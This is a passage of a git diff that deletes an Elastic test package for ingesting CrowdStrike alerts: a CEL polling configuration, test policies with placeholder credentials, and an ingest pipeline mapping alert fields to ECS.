state.?cursor.last_timestamp, - }, - "want_more": has(body.?meta.pagination.after), - } - ) - : - { - "events": { - "error": { - "code": string(resp.StatusCode), - "id": string(resp.Status), - "message": "POST " + state.url.trim_right("/") + "/alerts/combined/alerts/v1:" + ( - (size(resp.Body) != 0) ? - string(resp.Body) - : - string(resp.Status) + " (" + string(resp.StatusCode) + ")" - ), - }, - }, - "next": {}, - "want_more": false, - } - ) - ) - ) - publisher_pipeline.disable_host: true - redact: - fields: null - resource.ssl: null - resource.timeout: 30s - resource.tracer: - enabled: true - filename: ../../logs/cel/http-request-trace-*.ndjson - maxbackups: 5 - resource.url: http://host.tld - state: - batch_size: 1000 - initial_interval: 24h - tags: - - preserve_original_event - - preserve_duplicate_custom_fields - - forwarded - - crowdstrike-alert - type: cel - use_output: default -output_permissions: - default: - _elastic_agent_checks: - cluster: - - monitor - _elastic_agent_monitoring: - indices: [] - uuid-for-permissions-on-related-indices: - indices: - - names: - - logs-crowdstrike.alert-ep - privileges: - - auto_configure - - create_doc -secret_references: - - {} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-traced.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-traced.yml deleted file mode 100644 index 64c1d9d27e..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-traced.yml +++ /dev/null @@ -1,10 +0,0 @@ -vars: - url: http://host.tld - client_id: test_client_id - client_secret: test_client_secret - token_url: http://host.tld/oauth2/token -data_stream: - vars: - enable_request_tracer: true - preserve_original_event: true - preserve_duplicate_custom_fields: true diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/system/test-common-config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/system/test-common-config.yml deleted file mode 100644 index 7bdfd95a91..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/system/test-common-config.yml +++ /dev/null @@ -1,15 +0,0 @@ -input: cel -service: crowdstrike-alert -vars: - url: http://{{Hostname}}:{{Port}} - client_id: xxxx - client_secret: xxxx - token_url: http://{{Hostname}}:{{Port}}/oauth2/token -data_stream: - vars: - interval: 10s - batch_size: 1 - preserve_original_event: true - preserve_duplicate_custom_fields: true -assert: - hit_count: 3 diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/agent/stream/cel.yml.hbs b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/agent/stream/cel.yml.hbs deleted file mode 100644 index b9c4c9c6fd..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/agent/stream/cel.yml.hbs +++ /dev/null @@ -1,130 +0,0 @@ -config_version: 2 -interval: {{interval}} -resource.tracer: - enabled: {{enable_request_tracer}} - filename: "../../logs/cel/http-request-trace-*.ndjson" - maxbackups: 5 -{{#if proxy_url}} -resource.proxy_url: {{proxy_url}} -{{/if}} -{{#if proxy_headers}} -resource.proxy_headers: {{proxy_headers}} -{{/if}} -{{#if ssl}} -resource.ssl: {{ssl}} -{{/if}} -{{#if http_client_timeout}} -resource.timeout: {{http_client_timeout}} -{{/if}} -resource.url: {{url}} -auth.oauth2: - client.id: {{client_id}} - client.secret: {{client_secret}} - token_url: {{token_url}} -state: - initial_interval: {{initial_interval}} - batch_size: {{batch_size}} -{{#if query}} - query: {{query}} -{{/if}} -redact: - fields: ~ -program: |- - state.with( - ( - state.?want_more.orValue(false) ? - state.start_time - : - state.?cursor.last_timestamp.orValue( - (now - duration(state.initial_interval)).format(time_layout.RFC3339Nano) - ) - ).as(start_time, - post_request( - state.url.trim_right("/") + "/alerts/combined/alerts/v1?", - "application/json", - { - ?"after": state.?next.page_token, - "limit": int(state.batch_size), - "sort": "updated_timestamp|asc", - "filter": [ - "updated_timestamp:>'" + start_time + "'", - ?state.?query.optMap(q, "(" + q + ")"), - ].join("+"), - }.encode_json() - ).do_request().as(resp, (resp.StatusCode == 200) ? - resp.Body.decode_json().as(body, - (size(body.?errors.orValue([])) > 0) ? - { - "events": body.errors.map(error, - { - "error": { - "code": string(error.code), - "message": string(error.message), - }, - } - ), - "next": {}, - "want_more": false, - } - : - { - "events": has(body.resources) ? - body.resources.map(e, - { - "message": e.encode_json(), - } - ) - : - [], - "start_time": start_time, - "next": { - ?"page_token": body.?meta.pagination.after, - }, - "cursor": { - // The records are sorted in ascending order based on the value of updated_timestamp, - // in the next interval we start from the last event (newest) time. - ?"last_timestamp": (has(body.resources) && body.resources.size() > 0) ? - optional.of(timestamp(body.resources[size(body.resources) - 1].updated_timestamp).format(time_layout.RFC3339Nano)) - : - state.?cursor.last_timestamp, - }, - "want_more": has(body.?meta.pagination.after), - } - ) - : - { - "events": { - "error": { - "code": string(resp.StatusCode), - "id": string(resp.Status), - "message": "POST " + state.url.trim_right("/") + "/alerts/combined/alerts/v1:" + ( - (size(resp.Body) != 0) ? - string(resp.Body) - : - string(resp.Status) + " (" + string(resp.StatusCode) + ")" - ), - }, - }, - "next": {}, - "want_more": false, - } - ) - ) - ) -tags: -{{#if preserve_original_event}} - - preserve_original_event -{{/if}} -{{#if preserve_duplicate_custom_fields}} - - preserve_duplicate_custom_fields -{{/if}} -{{#each tags as |tag|}} - - {{tag}} -{{/each}} -{{#contains "forwarded" tags}} -publisher_pipeline.disable_host: true -{{/contains}} -{{#if processors}} -processors: -{{processors}} -{{/if}} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/elasticsearch/ingest_pipeline/default.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/elasticsearch/ingest_pipeline/default.yml deleted file mode 100644 index ca22a3da8f..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/elasticsearch/ingest_pipeline/default.yml +++ /dev/null @@ -1,2829 +0,0 @@ ---- -description: Pipeline for processing Alert logs. -processors: - - remove: - field: - - organization - - division - - team - ignore_missing: true - if: ctx.organization instanceof String && ctx.division instanceof String && ctx.team instanceof String - tag: remove_agentless_tags - description: >- - Removes the fields added by Agentless as metadata, - as they can collide with ECS fields. - - set: - field: ecs.version - tag: set_ecs_version - value: 8.17.0 - - set: - field: event.kind - tag: set_event_kind - value: alert - - rename: - field: message - tag: rename_message_to_event_original - target_field: event.original - ignore_missing: true - description: Renames the original `message` field to `event.original` to store a copy of the original message. The `event.original` field is not touched if the document already has one; it may happen when Logstash sends the document. - if: ctx.event?.original == null - - remove: - field: message - tag: remove_message - ignore_missing: true - description: The `message` field is no longer required if the document has an `event.original` field. - if: ctx.event?.original != null - - terminate: - tag: data_collection_error - if: ctx.error?.message != null && ctx.message == null && ctx.event?.original == null - description: error message set and no data to process. - - json: - field: event.original - tag: json_event_original - target_field: json - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - set: - field: event.category - tag: set_event_category_process - value: ['process'] - if: ctx.json?.process_id != null || ctx.json?.triggering_process_graph_id != null - - set: - field: event.type - tag: set_event_type_start - value: ['start'] - if: ctx.json?.process_start_time != null - - convert: - field: json.active_directory_authentication_method - tag: convert_active_directory_authentication_method_to_long - target_field: crowdstrike.alert.active_directory_authentication_method - type: long - if: ctx.json?.active_directory_authentication_method != "" - ignore_missing: true - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - rename: - field: json.activity_browser - tag: rename_activity_browser - target_field: crowdstrike.alert.activity.browser - ignore_missing: true - - rename: - field: json.activity_device - tag: rename_activity_device - target_field: crowdstrike.alert.activity.device - ignore_missing: true - - rename: - field: json.activity_id - tag: rename_activity_id - target_field: crowdstrike.alert.activity.id - ignore_missing: true - - rename: - field: json.activity_os - tag: rename_activity_os - target_field: crowdstrike.alert.activity.os - ignore_missing: true - - rename: - field: json.agent_id - tag: rename_agent_id - target_field: crowdstrike.alert.agent_id - ignore_missing: true - - set: - field: host.id - tag: set_host_id_from_alert_agent_id - copy_from: crowdstrike.alert.agent_id - ignore_empty_value: true - - rename: - field: json.agent_scan_id - tag: rename_agent_scan_id - target_field: crowdstrike.alert.agent_scan_id - ignore_missing: true - - rename: - field: json.aggregate_id - tag: rename_aggregate_id - target_field: crowdstrike.alert.aggregate_id - ignore_missing: true - - convert: - field: json.alert_attributes - tag: convert_alert_attributes_to_long - target_field: crowdstrike.alert.alert_attributes - type: long - if: ctx.json?.alert_attributes != "" - ignore_missing: true - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - rename: - field: json.alleged_filetype - tag: rename_alleged_filetype - target_field: crowdstrike.alert.alleged_filetype - ignore_missing: true - - rename: - field: json.assigned_to_name - tag: rename_assigned_to_name - target_field: crowdstrike.alert.assigned_to.name - ignore_missing: true - - rename: - field: json.assigned_to_uid - tag: rename_assigned_to_uid - target_field: crowdstrike.alert.assigned_to.uid - ignore_missing: true - - append: - field: related.user - tag: append_crowdstrike_alert_assigned_to_uid_into_related_user - value: '{{{crowdstrike.alert.assigned_to.uid}}}' - allow_duplicates: false - if: ctx.crowdstrike?.alert?.assigned_to?.uid != null - - rename: - field: json.assigned_to_uuid - tag: rename_assigned_to_uuid - target_field: crowdstrike.alert.assigned_to.uuid - ignore_missing: true - - foreach: - field: json.associated_files - if: ctx.json?.associated_files instanceof List - processor: - append: - field: related.hash - tag: append_associated_files_sha256_into_related_hash - value: '{{{_ingest._value.sha256}}}' - allow_duplicates: false - - rename: - field: json.associated_files - tag: rename_associated_files - target_field: crowdstrike.alert.associated_files - ignore_missing: true - - rename: - field: json.child_process_ids - tag: rename_child_process_ids - target_field: crowdstrike.alert.child_process_ids - ignore_missing: true - - rename: - field: json.cid - tag: rename_cid - target_field: crowdstrike.alert.cid - ignore_missing: true - - convert: - field: json.cloud_indicator - tag: convert_cloud_indicator_to_boolean - target_field: crowdstrike.alert.cloud_indicator - type: boolean - if: ctx.json?.cloud_indicator != "" - ignore_missing: true - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - convert: - field: json.prevented - tag: convert_prevented_to_boolean - target_field: crowdstrike.alert.prevented - type: boolean - if: ctx.json?.prevented != "" - ignore_missing: true - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - rename: - field: json.worker_node_name - tag: rename_worker_node_name - target_field: crowdstrike.alert.worker_node_name - ignore_missing: true - - rename: - field: json.cmdline - tag: rename_cmdline - target_field: crowdstrike.alert.cmdline - ignore_missing: true - - rename: - field: json.command_line - tag: rename_command_line - target_field: crowdstrike.alert.command_line - ignore_missing: true - - set: - field: process.command_line - tag: set_process_command_line - copy_from: crowdstrike.alert.command_line - ignore_empty_value: true - - rename: - field: json.comment - tag: rename_comment - target_field: crowdstrike.alert.comment - ignore_missing: true - - rename: - field: json.composite_id - tag: rename_composite_id - target_field: crowdstrike.alert.composite_id - ignore_missing: true - - convert: - field: json.confidence - tag: convert_confidence_to_long - target_field: crowdstrike.alert.confidence - type: long - if: ctx.json?.confidence != "" - ignore_missing: true - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - date: - field: json.context_timestamp - tag: date_context_timestamp - target_field: crowdstrike.alert.context_timestamp - formats: - - ISO8601 - if: ctx.json?.context_timestamp != null && ctx.json.context_timestamp != '' - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - rename: - field: json.control_graph_id - tag: rename_control_graph_id - target_field: crowdstrike.alert.control_graph_id - ignore_missing: true - - rename: - field: json.crawl_edge_ids.Sensor - tag: rename_crawl_edge_ids_Sensor - target_field: crowdstrike.alert.crawl_edge_ids.Sensor - ignore_missing: true - - rename: - field: json.crawl_vertex_ids.Sensor - tag: rename_crawl_vertex_ids_Sensor - target_field: crowdstrike.alert.crawl_vertex_ids.Sensor - ignore_missing: true - - date: - field: json.crawled_timestamp - tag: date_crawled_timestamp - target_field: crowdstrike.alert.crawled_timestamp - formats: - - ISO8601 - if: ctx.json?.crawled_timestamp != null && ctx.json.crawled_timestamp != '' - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - date: - field: json.created_timestamp - tag: date_created_timestamp - target_field: crowdstrike.alert.created_timestamp - formats: - - ISO8601 - if: ctx.json?.created_timestamp != null && ctx.json.created_timestamp != '' - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - rename: - field: json.data_domains - tag: rename_data_domains - target_field: crowdstrike.alert.data_domains - ignore_missing: true - - rename: - field: json.description - tag: rename_description - target_field: crowdstrike.alert.description - ignore_missing: true - - set: - field: message - tag: set_message_from_alert_description - copy_from: crowdstrike.alert.description - ignore_empty_value: true - - rename: - field: json.detect_type - tag: rename_detect_type - target_field: crowdstrike.alert.detect_type - ignore_missing: true - - convert: - field: json.device.agent_load_flags - tag: convert_device_agent_load_flags_to_long - target_field: crowdstrike.alert.device.agent_load_flags - type: long - if: ctx.json?.device?.agent_load_flags != "" - ignore_missing: true - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - date: - field: json.device.agent_local_time - tag: date_device_agent_local_time - target_field: crowdstrike.alert.device.agent_local_time - formats: - - ISO8601 - if: ctx.json?.device?.agent_local_time != null && ctx.json.device.agent_local_time != '' - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - rename: - field: json.device.agent_version - tag: rename_device_agent_version - target_field: crowdstrike.alert.device.agent_version - ignore_missing: true - - rename: - field: json.device.bios_manufacturer - tag: rename_device_bios_manufacturer - target_field: crowdstrike.alert.device.bios_manufacturer - ignore_missing: true - - rename: - field: json.device.bios_version - tag: rename_device_bios_version - target_field: crowdstrike.alert.device.bios_version - ignore_missing: true - - rename: - field: json.device.cid - tag: rename_device_cid - target_field: crowdstrike.alert.device.cid - ignore_missing: true - - rename: - field: json.device.config_id_base - tag: rename_device_config_id_base - target_field: crowdstrike.alert.device.config_id_base - ignore_missing: true - - rename: - field: json.device.config_id_build - tag: rename_device_config_id_build - target_field: crowdstrike.alert.device.config_id_build - ignore_missing: true - - convert: - field: json.device.config_id_platform - tag: convert_device_config_id_platform_to_long - target_field: crowdstrike.alert.device.config_id_platform - type: long - if: ctx.json?.device?.config_id_platform != "" - ignore_missing: true - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - convert: - field: json.device.external_ip - tag: convert_device_external_ip_to_ip - target_field: crowdstrike.alert.device.external_ip - type: ip - ignore_missing: true - if: ctx.json?.device?.external_ip != null && ctx.json.device.external_ip != '' - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - append: - field: related.ip - tag: append_crowdstrike_alert_device_external_ip_into_related_ip - value: '{{{crowdstrike.alert.device.external_ip}}}' - allow_duplicates: false - if: ctx.crowdstrike?.alert?.device?.external_ip != null - - append: - field: host.ip - tag: append_crowdstrike_alert_device_external_ip_into_host_ip - value: '{{{crowdstrike.alert.device.external_ip}}}' - allow_duplicates: false - if: ctx.crowdstrike?.alert?.device?.external_ip != null - - date: - field: json.device.first_seen - tag: date_device_first_seen - target_field: crowdstrike.alert.device.first_seen - formats: - - ISO8601 - if: ctx.json?.device?.first_seen != null && ctx.json.device.first_seen != '' - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - rename: - field: json.device.groups - tag: rename_device_groups - target_field: crowdstrike.alert.device.groups - ignore_missing: true - - rename: - field: json.device.hostinfo.active_directory_dn_display - tag: rename_device_hostinfo_active_directory_dn_display - target_field: crowdstrike.alert.device.hostinfo.active_directory_dn_display - ignore_missing: true - - rename: - field: json.device.hostinfo.domain - tag: rename_device_hostinfo_domain - target_field: crowdstrike.alert.device.hostinfo.domain - ignore_missing: true - - set: - field: host.domain - tag: set_host_domain_from_alert_device_hostinfo_domain - copy_from: crowdstrike.alert.device.hostinfo.domain - ignore_empty_value: true - - append: - field: related.hosts - value: '{{{host.domain}}}' - allow_duplicates: false - if: ctx.host?.domain != null - - rename: - field: json.device.hostname - tag: rename_device_hostname - target_field: crowdstrike.alert.device.hostname - ignore_missing: true - - set: - field: host.hostname - tag: set_host_hostname_from_alert_device_hostname - copy_from: crowdstrike.alert.device.hostname - ignore_empty_value: true - - append: - field: related.hosts - value: '{{{host.hostname}}}' - allow_duplicates: false - if: ctx.host?.hostname != null - - rename: - field: json.device.device_id - tag: rename_device_device_id - target_field: crowdstrike.alert.device.id - ignore_missing: true - - set: - field: device.id - tag: set_device_id_from_alert_device_id - copy_from: crowdstrike.alert.device.id - ignore_empty_value: true - - date: - field: json.device.last_seen - tag: date_device_last_seen - target_field: crowdstrike.alert.device.last_seen - formats: - - ISO8601 - if: ctx.json?.device?.last_seen != null && ctx.json.device.last_seen != '' - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - convert: - field: json.device.local_ip - tag: convert_device_local_ip_to_ip - target_field: crowdstrike.alert.device.local_ip - type: ip - ignore_missing: true - if: ctx.json?.device?.local_ip != null && ctx.json.device.local_ip != '' - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - append: - field: related.ip - tag: append_crowdstrike_alert_device_local_ip_into_related_ip - value: '{{{crowdstrike.alert.device.local_ip}}}' - allow_duplicates: false - if: ctx.crowdstrike?.alert?.device?.local_ip != null - - append: - field: host.ip - tag: append_crowdstrike_alert_device_local_ip_into_host_ip - value: '{{{crowdstrike.alert.device.local_ip}}}' - allow_duplicates: false - if: ctx.crowdstrike?.alert?.device?.local_ip != null - - gsub: - field: json.device.mac_address - tag: gsub_device_mac_address - pattern: '[:.]' - replacement: '-' - target_field: crowdstrike.alert.device.mac_address - ignore_missing: true - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - uppercase: - field: crowdstrike.alert.device.mac_address - tag: uppercase_device_mac_address - ignore_missing: true - if: ctx.crowdstrike?.alert?.device?.mac_address != '' - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - append: - field: host.mac - value: '{{{crowdstrike.alert.device.mac_address}}}' - tag: append_device_mac_address_into_host_mac - allow_duplicates: false - if: ctx.crowdstrike?.alert?.device?.mac_address != null - - rename: - field: json.device.machine_domain - tag: rename_device_machine_domain - target_field: crowdstrike.alert.device.machine_domain - ignore_missing: true - - append: - field: related.hosts - value: '{{{crowdstrike.alert.device.machine_domain}}}' - allow_duplicates: false - if: ctx.crowdstrike?.alert?.device?.machine_domain != null - - rename: - field: json.device.major_version - tag: rename_device_major_version - target_field: crowdstrike.alert.device.major_version - ignore_missing: true - - rename: - field: json.device.minor_version - tag: rename_device_minor_version - target_field: crowdstrike.alert.device.minor_version - ignore_missing: true - - date: - field: json.device.modified_timestamp - tag: date_device_modified_timestamp - target_field: crowdstrike.alert.device.modified_timestamp - formats: - - ISO8601 - if: ctx.json?.device?.modified_timestamp != null && ctx.json.device.modified_timestamp != '' - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - rename: - field: json.device.os_version - tag: rename_device_os_version - target_field: crowdstrike.alert.device.os_version - ignore_missing: true - - set: - field: host.os.full - tag: set_host_os_full_from_alert_device_os_version - copy_from: crowdstrike.alert.device.os_version - ignore_empty_value: true - - rename: - field: json.device.ou - tag: rename_device_ou - target_field: crowdstrike.alert.device.ou - ignore_missing: true - - rename: - field: json.device.platform_id - tag: rename_device_platform_id - target_field: crowdstrike.alert.device.platform_id - ignore_missing: true - - rename: - field: json.device.platform_name - tag: rename_device_platform_name - target_field: crowdstrike.alert.device.platform_name - ignore_missing: true - - set: - field: host.os.platform - tag: set_host_os_platform_from_alert_device_platform_name - copy_from: crowdstrike.alert.device.platform_name - ignore_empty_value: true - - rename: - field: json.device.pod_labels - tag: rename_device_pod_labels - target_field: crowdstrike.alert.device.pod_labels - ignore_missing: true - - rename: - field: json.device.product_type - tag: rename_device_product_type - target_field: crowdstrike.alert.device.product_type - ignore_missing: true - - rename: - field: json.device.product_type_desc - tag: rename_device_product_type_desc - target_field: crowdstrike.alert.device.product_type_desc - ignore_missing: true - - rename: - field: json.device.site_name - tag: rename_device_site_name - target_field: crowdstrike.alert.device.site_name - ignore_missing: true - - rename: - field: json.device.status - tag: rename_device_status - target_field: crowdstrike.alert.device.status - ignore_missing: true - - rename: - field: json.device.system_manufacturer - tag: rename_device_system_manufacturer - target_field: crowdstrike.alert.device.system_manufacturer - ignore_missing: true - - set: - field: device.manufacturer - tag: set_device_manufacturer - copy_from: crowdstrike.alert.device.system_manufacturer - ignore_empty_value: true - - rename: - field: json.device.system_product_name - tag: rename_device_system_product_name - target_field: crowdstrike.alert.device.system_product_name - ignore_missing: true - - set: - field: device.model.name - tag: set_device_model_name - copy_from: crowdstrike.alert.device.system_product_name - ignore_empty_value: true - - rename: - field: json.device.tags - tag: rename_device_tags - target_field: crowdstrike.alert.device.tags - ignore_missing: true - - foreach: - field: crowdstrike.alert.device.tags - if: ctx.crowdstrike?.alert?.device?.tags instanceof List - processor: - append: - field: tags - tag: append_device_tags_into_tags - value: '{{{_ingest._value}}}' - allow_duplicates: false - - rename: - field: json.display_name - tag: rename_display_name - target_field: crowdstrike.alert.display_name - ignore_missing: true - - foreach: - field: json.documents_accessed - if: ctx.json?.documents_accessed instanceof List - processor: - date: - field: _ingest._value.timestamp - tag: date_documents_accessed_timestamp - target_field: _ingest._value.timestamp - formats: - - UNIX - - UNIX_MS - on_failure: - - remove: - field: _ingest._value.timestamp - ignore_missing: true - - rename: - field: json.documents_accessed - tag: rename_documents_accessed - target_field: crowdstrike.alert.documents_accessed - ignore_missing: true - - convert: - field: json.email_sent - tag: convert_email_sent_to_boolean - target_field: crowdstrike.alert.email_sent - type: boolean - if: ctx.json?.email_sent != "" - ignore_missing: true - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - date: - field: json.end_time - tag: date_end_time - target_field: crowdstrike.alert.end_time - formats: - - ISO8601 - if: ctx.json?.end_time != null && ctx.json.end_time != '' - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - set: - field: event.end - tag: set_event_end_from_alert_end_time - copy_from: crowdstrike.alert.end_time - ignore_empty_value: true - - rename: - field: json.event_id - tag: rename_event_id - target_field: crowdstrike.alert.event_id - ignore_missing: true - - foreach: - field: json.executables_written - if: ctx.json?.executables_written instanceof List - processor: - date: - field: _ingest._value.timestamp - tag: date_executables_written_timestamp - target_field: _ingest._value.timestamp - formats: - - UNIX - - UNIX_MS - on_failure: - - remove: - field: _ingest._value.timestamp - ignore_missing: true - - rename: - field: json.executables_written - tag: rename_executables_written - target_field: crowdstrike.alert.executables_written - ignore_missing: true - - rename: - field: json.falcon_host_link - tag: rename_falcon_host_link - target_field: crowdstrike.alert.falcon_host_link - ignore_missing: true - - rename: - field: json.filename - tag: rename_filename - target_field: crowdstrike.alert.filename - ignore_missing: true - - set: - field: file.name - tag: set_file_name_from_alert_filename - copy_from: crowdstrike.alert.filename - ignore_empty_value: true - - set: - field: process.name - tag: set_process_name - copy_from: crowdstrike.alert.filename - ignore_empty_value: true - - rename: - field: json.filepath - tag: rename_filepath - target_field: crowdstrike.alert.filepath - ignore_missing: true - - set: - field: file.path - tag: set_file_path_from_alert_filepath - copy_from: crowdstrike.alert.filepath - ignore_empty_value: true - - set: - field: process.executable - tag: set_process_executable - copy_from: crowdstrike.alert.filepath - ignore_empty_value: true - - foreach: - field: json.file_writes - if: ctx.json?.file_writes instanceof List - processor: - append: - field: related.hash - tag: append_file_writes_sha256_into_related_hash - value: '{{{_ingest._value.sha256}}}' - allow_duplicates: false - - rename: - field: json.file_writes - tag: rename_file_writes - target_field: crowdstrike.alert.file_writes - ignore_missing: true - - foreach: - field: json.files_accessed - if: ctx.json?.files_accessed instanceof List - processor: - date: - field: _ingest._value.timestamp - tag: date_files_accessed_timestamp - target_field: _ingest._value.timestamp - formats: - - UNIX - - UNIX_MS - on_failure: - - remove: - field: _ingest._value.timestamp - ignore_missing: true - - rename: - field: json.files_accessed - tag: rename_files_accessed - target_field: crowdstrike.alert.files_accessed - ignore_missing: true - - foreach: - field: json.files_written - if: ctx.json?.files_written instanceof List - processor: - date: - field: _ingest._value.timestamp - tag: date_files_written_timestamp - target_field: _ingest._value.timestamp - formats: - - UNIX - - UNIX_MS - on_failure: - - remove: - field: _ingest._value.timestamp - ignore_missing: true - - rename: - field: json.files_written - tag: rename_files_written - target_field: crowdstrike.alert.files_written - ignore_missing: true - - rename: - field: json.global_prevalence - tag: rename_global_prevalence - target_field: crowdstrike.alert.global_prevalence - ignore_missing: true - - rename: - field: json.grandparent_details.cmdline - tag: rename_grandparent_details_cmdline - target_field: crowdstrike.alert.grandparent_details.cmdline - ignore_missing: true - - rename: - field: json.grandparent_details.filename - tag: rename_grandparent_details_filename - target_field: crowdstrike.alert.grandparent_details.filename - ignore_missing: true - - rename: - field: json.grandparent_details.filepath - tag: rename_grandparent_details_filepath - target_field: crowdstrike.alert.grandparent_details.filepath - ignore_missing: true - - rename: - field: json.grandparent_details.local_process_id - tag: rename_grandparent_details_local_process_id - target_field: crowdstrike.alert.grandparent_details.local_process_id - ignore_missing: true - - rename: - field: json.grandparent_details.md5 - tag: rename_grandparent_details_md5 - target_field: crowdstrike.alert.grandparent_details.md5 - ignore_missing: true - - append: - field: related.hash - value: '{{{crowdstrike.alert.grandparent_details.md5}}}' - allow_duplicates: false - if: ctx.crowdstrike?.alert?.grandparent_details?.md5 != null - - rename: - field: json.grandparent_details.process_graph_id - tag: rename_grandparent_details_process_graph_id - target_field: crowdstrike.alert.grandparent_details.process_graph_id - ignore_missing: true - - rename: - field: json.grandparent_details.process_id - tag: rename_grandparent_details_process_id - target_field: crowdstrike.alert.grandparent_details.process_id - ignore_missing: true - - rename: - field: json.grandparent_details.sha256 - tag: rename_grandparent_details_sha256 - target_field: crowdstrike.alert.grandparent_details.sha256 - ignore_missing: true - - append: - field: related.hash - value: '{{{crowdstrike.alert.grandparent_details.sha256}}}' - allow_duplicates: false - if: ctx.crowdstrike?.alert?.grandparent_details?.sha256 != null - - date: - field: json.grandparent_details.timestamp - tag: date_grandparent_details_timestamp - target_field: crowdstrike.alert.grandparent_details.timestamp - formats: - - ISO8601 - if: ctx.json?.grandparent_details?.timestamp != null && ctx.json.grandparent_details.timestamp != '' - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: 